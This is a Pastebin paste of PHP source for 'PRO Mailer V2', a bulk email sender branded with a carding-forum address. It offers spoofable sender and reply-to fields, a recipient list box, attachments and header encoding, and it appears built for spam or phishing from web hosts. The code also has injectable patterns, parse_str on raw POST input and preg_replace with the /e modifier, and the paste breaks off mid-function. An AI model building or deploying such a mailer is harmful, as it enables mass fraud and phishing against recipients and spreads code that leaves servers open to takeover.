Guest User

Untitled

a guest
Jul 27th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 105.13 KB | None | 0 0
  1. <?
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);
  19. $sslclick=lrtrim($sslclick);
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40. $message = urlencode($message);
  41. $message = ereg_replace("%5C%22", "%22", $message);
  42. $message = urldecode($message);
  43. $message = stripslashes($message);
  44. $subject = stripslashes($subject);
  45. if ($encode_text == "yes") {
  46. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47. $subject = str_replace(' ', '_', $subject);
  48. $subject = "=?UTF-8?Q?$subject?=";
  49. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50. $realname = str_replace(' ', '_', $realname);
  51. $realname = "=?UTF-8?Q?$realname?=";
  52. }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Pro Mailer V2</title>
  61.  
  62. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  63.  
  64. <script src='http://static.tumblr.com/qo0gonz/JsJn0gihy/jquery-1.6.2.js'></script>
  65.  
  66. <style type="text/css">
  67. <!--
  68. .style1 {
  69. font-family: Geneva, Arial, Helvetica, sans-serif;
  70. font-size: 12px;
  71. }
  72. body{
  73. margin:0px;
  74. }
  75. .bgup {
  76. background:
  77. url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7v
  78. yIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvM
  79. DIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiI
  80. HhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL
  81. 3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEM
  82. kFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkO
  83. jM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZ
  84. jpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDA
  85. wMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAA
  86. AAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  87. }
  88.  
  89. .cadre {
  90. background-image:
  91. url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAAD
  92. w/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMD
  93. ExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcm
  94. lwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2
  95. VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU
  96. 06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOk
  97. NyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NT
  98. JCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW
  99. 5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQm
  100. CC);
  101. }
  102.  
  103. .uibutton {
  104. position: relative;
  105. z-index: 1;
  106. overflow: visible;
  107. display: inline-block;
  108. padding: 0.3em 0.6em 0.375em;
  109. border: 1px solid #01A9DB;
  110. border-bottom-color: #01A9DB;
  111.  
  112. margin: 0;
  113. text-decoration: none;
  114. text-align: center;
  115. font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  116. white-space: nowrap;
  117. cursor: pointer;
  118. /* outline: none; */
  119. color: #f9f9f9;
  120. background-color: #eee;
  121. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  122. background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  123. background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  124. background-image: linear-gradient(#01A9DB, #01A9DB);
  125.  
  126. /* IE hacks */
  127.  
  128. *display: inline;
  129.  
  130. }
  131.  
  132. .uibutton:hover,
  133. .uibutton:focus,
  134. .uibutton:active {
  135. border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  136. }
  137.  
  138. .uibutton:active {
  139. border-color: #01A9DB;
  140. background: #01A9DB;
  141. filter: none;
  142. -webkit-box-shadow: none;
  143. -moz-box-shadow: none;
  144. box-shadow: none;
  145. }
  146.  
  147. /* overrides extra padding on button elements in Firefox */
  148. .uibutton::-moz-focus-inner {
  149. padding: 0;
  150. border: 0;
  151. }
  152.  
  153.  
  154.  
  155. -->
  156. </style>
  157. <style type="text/css">
  158. <!--
  159. .style1 {
  160. font-size: 10px;
  161. font-family: Geneva, Arial, Helvetica, sans-serif;
  162. }
  163. -->
  164. </style>
  165. </head>
  166. <body bgcolor="#f9f9f9" class="bgup">
  167. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  168. <div style="width:80%;margin:0 auto;">
  169. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><br>
  170. <font size="5" face="Bauhaus 93">Www.CardingForum.iN</font></p>
  171. <form name="form1" method="post" action="" enctype="multipart/form-data">
  172.  
  173. <br>
  174.  
  175. <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  176.  
  177. <tr>
  178.  
  179. <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  180.  
  181. <b>
  182.  
  183. <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  184.  
  185. </tr>
  186. <tr >
  187.  
  188. <td width="10%" height="22" style="padding:10px;">
  189.  
  190. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  191.  
  192. </td>
  193.  
  194. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  195.  
  196. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  197.  
  198. </font></td>
  199.  
  200. <td width="31%" height="22" style="padding:10px;">
  201.  
  202. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  203.  
  204. </td>
  205.  
  206. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  207.  
  208. <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  209.  
  210. </font></td>
  211.  
  212. </tr>
  213. <tr>
  214.  
  215. <td width="10%" height="22" style="padding:10px;">
  216.  
  217. <div align="right">
  218. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  219.  
  220. </td>
  221.  
  222. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  223.  
  224. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  225. (optional)</font></td>
  226.  
  227. <td width="31%" height="22" style="padding:10px;">
  228.  
  229. <div align="right">
  230. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  231. Smtp:</font></div>
  232.  
  233. </td>
  234.  
  235. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  236.  
  237. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  238.  
  239. </font></td>
  240.  
  241. </tr>
  242. <tr>
  243.  
  244. <td width="10%" height="22" style="padding:10px;">
  245.  
  246. <p align="right">
  247. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  248.  
  249. <td width="18%" height="22" style="padding:10px;">
  250. <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?>
  251. ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  252.  
  253. <td width="31%" height="22" style="padding:10px;">
  254.  
  255. <p align="right">
  256. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  257. After:</font></td>
  258.  
  259. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  260.  
  261. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  262. EMAILS</font></td>
  263.  
  264. </tr>
  265. <tr>
  266.  
  267. <td width="100%" height="39" colspan="4" style="padding:10px;">
  268.  
  269. <p align="center">
  270. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  271. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  272.  
  273. </tr>
  274.  
  275. <tr>
  276.  
  277. <td width="10%" height="19" style="padding:10px;">
  278.  
  279. &nbsp;</td>
  280.  
  281. <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  282.  
  283. <td width="31%" height="19" style="padding:10px;">
  284.  
  285. &nbsp;</td>
  286.  
  287. <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  288.  
  289. </tr>
  290.  
  291. <tr>
  292.  
  293. <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  294.  
  295. <b>
  296.  
  297. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  298.  
  299. </tr>
  300. <tr>
  301.  
  302. <td width="10%" height="22" style="padding:10px;">
  303. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  304. </td>
  305.  
  306. <td width="59%" height="22" style="padding:10px;" colSpan="3">
  307. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  308.  
  309. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  310.  
  311. </font></td>
  312.  
  313. </tr>
  314. <tr>
  315.  
  316. <td width="10%" height="22" style="padding:10px;">
  317.  
  318. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  319.  
  320. Email:</font></div>
  321.  
  322. </td>
  323.  
  324. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  325.  
  326. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  327.  
  328. </font></td>
  329.  
  330. <td width="31%" height="22" style="padding:10px;">
  331.  
  332. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  333.  
  334. Name:</font></div>
  335.  
  336. </td>
  337.  
  338. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  339.  
  340. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  341.  
  342. </font></td>
  343.  
  344. </tr>
  345. <tr>
  346.  
  347. <td width="10%" height="22" style="padding:10px;">
  348.  
  349. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  350.  
  351. </td>
  352.  
  353. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  354.  
  355. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  356.  
  357. </font></td>
  358.  
  359. <td width="31%" height="22" style="padding:10px;">
  360.  
  361. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362. Email Priority:</font></td>
  363.  
  364. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  365.  
  366. &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  367. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  368. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  369. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  370. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  371. </select></td>
  372.  
  373. </tr>
  374.  
  375. <tr>
  376.  
  377. <td width="10%" height="22" style="padding:10px;">
  378.  
  379. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  380.  
  381. </td>
  382.  
  383. <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  384.  
  385. <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  386.  
  387. </font></td>
  388.  
  389. </tr>
  390.  
  391. <tr>
  392.  
  393. <td width="10%" height="22" style="padding:10px;">
  394.  
  395. &nbsp;</td>
  396.  
  397. <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  398.  
  399. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1"
  400. name="encode">
  401. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  402. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  403. </select></font></td>
  404.  
  405. </tr>
  406.  
  407. <tr valign="top">
  408.  
  409. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  410.  
  411. <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  412.  
  413. <br>
  414.  
  415. <input type="radio" name="contenttype" value="plain" >
  416.  
  417. Plain
  418.  
  419. <input type="radio" name="contenttype" value="html" checked>
  420.  
  421. HTML
  422.  
  423. <input type="hidden" name="action" value="send">
  424. <input class="uibutton" type="submit" value="Send Message">
  425.  
  426. </font></td>
  427.  
  428. <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  429.  
  430. <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  431.  
  432. </font></td>
  433.  
  434. </tr>
  435.  
  436. </table>
  437.  
  438. </form>
  439.  
  440.  
  441.  
  442. <?
  443.  
  444. if ($action){
  445. if (!$from && !$subject && !$message && !$emaillist){
  446. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  447. die(); }
  448.  
  449. class SMTP
  450. {
  451. /**
  452. * SMTP server port
  453. * @var int
  454. */
  455. var $SMTP_PORT = 25;
  456.  
  457. /**
  458. * SMTP reply line ending
  459. * @var string
  460. */
  461. var $CRLF = "\r\n";
  462.  
  463. /**
  464. * Sets whether debugging is turned on
  465. * @var bool
  466. */
  467. var $do_debug; # the level of debug to perform
  468.  
  469. /**
  470. * Sets VERP use on/off (default is off)
  471. * @var bool
  472. */
  473. var $do_verp = false;
  474.  
  475. /**#@+
  476. * @access private
  477. */
  478. var $smtp_conn; # the socket to the server
  479. var $error; # error if any on the last call
  480. var $helo_rply; # the reply the server sent to us for HELO
  481. /**#@-*/
  482.  
  483. /**
  484. * Initialize the class so that the data is in a known state.
  485. * @access public
  486. * @return void
  487. */
  488. function SMTP() {
  489. $this->smtp_conn = 0;
  490. $this->error = null;
  491. $this->helo_rply = null;
  492.  
  493. $this->do_debug = 0;
  494. }
  495.  
  496. /*************************************************************
  497. * CONNECTION FUNCTIONS *
  498. ***********************************************************/
  499.  
  500. /**
  501. * Connect to the server specified on the port specified.
  502. * If the port is not specified use the default SMTP_PORT.
  503. * If tval is specified then a connection will try and be
  504. * established with the server for that number of seconds.
  505. * If tval is not specified the default is 30 seconds to
  506. * try on the connection.
  507. *
  508. * SMTP CODE SUCCESS: 220
  509. * SMTP CODE FAILURE: 421
  510. * @access public
  511. * @return bool
  512. */
  513. function Connect($host,$port=0,$tval=30) {
  514. # set the error val to null so there is no confusion
  515. $this->error = null;
  516.  
  517. # make sure we are __not__ connected
  518. if($this->connected()) {
  519. # ok we are connected! what should we do?
  520. # for now we will just give an error saying we
  521. # are already connected
  522. $this->error = array("error" => "Already connected to a server");
  523. return false;
  524. }
  525.  
  526. if(empty($port)) {
  527. $port = $this->SMTP_PORT;
  528. }
  529.  
  530. #connect to the smtp server
  531. $this->smtp_conn = fsockopen($host, # the host of the server
  532. $port, # the port to use
  533. $errno, # error number if any
  534. $errstr, # error message if any
  535. $tval); # give up after ? secs
  536. # verify we connected properly
  537. if(empty($this->smtp_conn)) {
  538. $this->error = array("error" => "Failed to connect to server",
  539. "errno" => $errno,
  540. "errstr" => $errstr);
  541. if($this->do_debug >= 1) {
  542. echo "SMTP -> ERROR: " . $this->error["error"] .
  543. ": $errstr ($errno)" . $this->CRLF;
  544. }
  545. return false;
  546. }
  547.  
  548. # sometimes the SMTP server takes a little longer to respond
  549. # so we will give it a longer timeout for the first read
  550. // Windows still does not have support for this timeout function
  551. if(substr(PHP_OS, 0, 3) != "WIN")
  552. socket_set_timeout($this->smtp_conn, $tval, 0);
  553.  
  554. # get any announcement stuff
  555. $announce = $this->get_lines();
  556.  
  557. # set the timeout of any socket functions at 1/10 of a second
  558. //if(function_exists("socket_set_timeout"))
  559. // socket_set_timeout($this->smtp_conn, 0, 100000);
  560.  
  561. if($this->do_debug >= 2) {
  562. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  563. }
  564.  
  565. return true;
  566. }
  567.  
  568. /**
  569. * Performs SMTP authentication. Must be run after running the
  570. * Hello() method. Returns true if successfully authenticated.
  571. * @access public
  572. * @return bool
  573. */
  574. function Authenticate($username, $password) {
  575. // Start authentication
  576. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  577.  
  578. $rply = $this->get_lines();
  579. $code = substr($rply,0,3);
  580.  
  581. if($code != 334) {
  582. $this->error =
  583. array("error" => "AUTH not accepted from server",
  584. "smtp_code" => $code,
  585. "smtp_msg" => substr($rply,4));
  586. if($this->do_debug >= 1) {
  587. echo "SMTP -> ERROR: " . $this->error["error"] .
  588. ": " . $rply . $this->CRLF;
  589. }
  590. return false;
  591. }
  592.  
  593. // Send encoded username
  594. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  595.  
  596. $rply = $this->get_lines();
  597. $code = substr($rply,0,3);
  598.  
  599. if($code != 334) {
  600. $this->error =
  601. array("error" => "Username not accepted from server",
  602. "smtp_code" => $code,
  603. "smtp_msg" => substr($rply,4));
  604. if($this->do_debug >= 1) {
  605. echo "SMTP -> ERROR: " . $this->error["error"] .
  606. ": " . $rply . $this->CRLF;
  607. }
  608. return false;
  609. }
  610.  
  611. // Send encoded password
  612. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  613.  
  614. $rply = $this->get_lines();
  615. $code = substr($rply,0,3);
  616.  
  617. if($code != 235) {
  618. $this->error =
  619. array("error" => "Password not accepted from server",
  620. "smtp_code" => $code,
  621. "smtp_msg" => substr($rply,4));
  622. if($this->do_debug >= 1) {
  623. echo "SMTP -> ERROR: " . $this->error["error"] .
  624. ": " . $rply . $this->CRLF;
  625. }
  626. return false;
  627. }
  628.  
  629. return true;
  630. }
  631.  
  632. /**
  633. * Returns true if connected to a server otherwise false
  634. * @access private
  635. * @return bool
  636. */
  637. function Connected() {
  638. if(!empty($this->smtp_conn)) {
  639. $sock_status = socket_get_status($this->smtp_conn);
  640. if($sock_status["eof"]) {
  641. # hmm this is an odd situation... the socket is
  642. # valid but we are not connected anymore
  643. if($this->do_debug >= 1) {
  644. echo "SMTP -> NOTICE:" . $this->CRLF .
  645. "EOF caught while checking if connected";
  646. }
  647. $this->Close();
  648. return false;
  649. }
  650. return true; # everything looks good
  651. }
  652. return false;
  653. }
  654.  
  655. /**
  656. * Closes the socket and cleans up the state of the class.
  657. * It is not considered good to use this function without
  658. * first trying to use QUIT.
  659. * @access public
  660. * @return void
  661. */
  662. function Close() {
  663. $this->error = null; # so there is no confusion
  664. $this->helo_rply = null;
  665. if(!empty($this->smtp_conn)) {
  666. # close the connection and cleanup
  667. fclose($this->smtp_conn);
  668. $this->smtp_conn = 0;
  669. }
  670. }
  671.  
  672. /***************************************************************
  673. * SMTP COMMANDS *
  674. *************************************************************/
  675.  
  676. /**
  677. * Issues a data command and sends the msg_data to the server
  678. * finializing the mail transaction. $msg_data is the message
  679. * that is to be send with the headers. Each header needs to be
  680. * on a single line followed by a <CRLF> with the message headers
  681. * and the message body being seperated by and additional <CRLF>.
  682. *
  683. * Implements rfc 821: DATA <CRLF>
  684. *
  685. * SMTP CODE INTERMEDIATE: 354
  686. * [data]
  687. * <CRLF>.<CRLF>
  688. * SMTP CODE SUCCESS: 250
  689. * SMTP CODE FAILURE: 552,554,451,452
  690. * SMTP CODE FAILURE: 451,554
  691. * SMTP CODE ERROR : 500,501,503,421
  692. * @access public
  693. * @return bool
  694. */
  695. function Data($msg_data) {
  696. $this->error = null; # so no confusion is caused
  697.  
  698. if(!$this->connected()) {
  699. $this->error = array(
  700. "error" => "Called Data() without being connected");
  701. return false;
  702. }
  703.  
  704. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  705.  
  706. $rply = $this->get_lines();
  707. $code = substr($rply,0,3);
  708.  
  709. if($this->do_debug >= 2) {
  710. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  711. }
  712.  
  713. if($code != 354) {
  714. $this->error =
  715. array("error" => "DATA command not accepted from server",
  716. "smtp_code" => $code,
  717. "smtp_msg" => substr($rply,4));
  718. if($this->do_debug >= 1) {
  719. echo "SMTP -> ERROR: " . $this->error["error"] .
  720. ": " . $rply . $this->CRLF;
  721. }
  722. return false;
  723. }
  724.  
  725. # the server is ready to accept data!
  726. # according to rfc 821 we should not send more than 1000
  727. # including the CRLF
  728. # characters on a single line so we will break the data up
  729. # into lines by \r and/or \n then if needed we will break
  730. # each of those into smaller lines to fit within the limit.
  731. # in addition we will be looking for lines that start with
  732. # a period '.' and append and additional period '.' to that
  733. # line. NOTE: this does not count towards are limit.
  734.  
  735. # normalize the line breaks so we know the explode works
  736. $msg_data = str_replace("\r\n","\n",$msg_data);
  737. $msg_data = str_replace("\r","\n",$msg_data);
  738. $lines = explode("\n",$msg_data);
  739.  
  740. # we need to find a good way to determine is headers are
  741. # in the msg_data or if it is a straight msg body
  742. # currently I am assuming rfc 822 definitions of msg headers
  743. # and if the first field of the first line (':' sperated)
  744. # does not contain a space then it _should_ be a header
  745. # and we can process all lines before a blank "" line as
  746. # headers.
  747. $field = substr($lines[0],0,strpos($lines[0],":"));
  748. $in_headers = false;
  749. if(!empty($field) && !strstr($field," ")) {
  750. $in_headers = true;
  751. }
  752.  
  753. $max_line_length = 998; # used below; set here for ease in change
  754.  
  755. while(list(,$line) = @each($lines)) {
  756. $lines_out = null;
  757. if($line == "" && $in_headers) {
  758. $in_headers = false;
  759. }
  760. # ok we need to break this line up into several
  761. # smaller lines
  762. while(strlen($line) > $max_line_length) {
  763. $pos = strrpos(substr($line,0,$max_line_length)," ");
  764.  
  765. # Patch to fix DOS attack
  766. if(!$pos) {
  767. $pos = $max_line_length - 1;
  768. }
  769.  
  770. $lines_out[] = substr($line,0,$pos);
  771. $line = substr($line,$pos + 1);
  772. # if we are processing headers we need to
  773. # add a LWSP-char to the front of the new line
  774. # rfc 822 on long msg headers
  775. if($in_headers) {
  776. $line = "\t" . $line;
  777. }
  778. }
  779. $lines_out[] = $line;
  780.  
  781. # now send the lines to the server
  782. while(list(,$line_out) = @each($lines_out)) {
  783. if(strlen($line_out) > 0)
  784. {
  785. if(substr($line_out, 0, 1) == ".") {
  786. $line_out = "." . $line_out;
  787. }
  788. }
  789. fputs($this->smtp_conn,$line_out . $this->CRLF);
  790. }
  791. }
  792.  
  793. # ok all the message data has been sent so lets get this
  794. # over with aleady
  795. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  796.  
  797. $rply = $this->get_lines();
  798. $code = substr($rply,0,3);
  799.  
  800. if($this->do_debug >= 2) {
  801. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  802. }
  803.  
  804. if($code != 250) {
  805. $this->error =
  806. array("error" => "DATA not accepted from server",
  807. "smtp_code" => $code,
  808. "smtp_msg" => substr($rply,4));
